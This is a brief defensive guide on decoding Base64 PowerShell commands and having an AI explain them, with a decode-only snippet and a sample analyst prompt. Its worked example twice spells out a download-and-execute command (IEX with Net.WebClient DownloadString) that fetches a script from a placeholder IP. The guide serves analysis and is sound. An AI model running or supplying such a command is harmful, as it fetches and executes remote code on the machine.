Decode a suspicious command safely

PowerShell is Windows' command shell. Microsoft's PowerShell docs say -EncodedCommand "accepts a Base64-encoded string version of a command", and the text must be UTF-16LE. Base64 is a way of writing any data as plain letters and digits. Admins use it for commands with complicated quoting. Attackers use it to hide what a command does from a quick look.

Decoding is safe: it only turns the letters back into text. This PowerShell line decodes without running anything:

[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("<paste the block here>"))

Then AI is genuinely useful. It explains unfamiliar commands well, and it doesn't need to run anything to do it. Your job is to check its explanation against the decoded text, line by line.

Work in a lab or an approved analysis machine, and paste only the command, not a whole log with usernames and hostnames.

A worked example

The decoded command was IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.50/a.ps1'). The prompt (the message you send to the AI):

Explain this decoded PowerShell command for a security analyst.
Don't run it, and don't suggest running it.

List: what each part does, every URL, IP address and file path in it,
what would happen if it ran, and what you can't tell from the text.

Command: IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.50/a.ps1')

Try it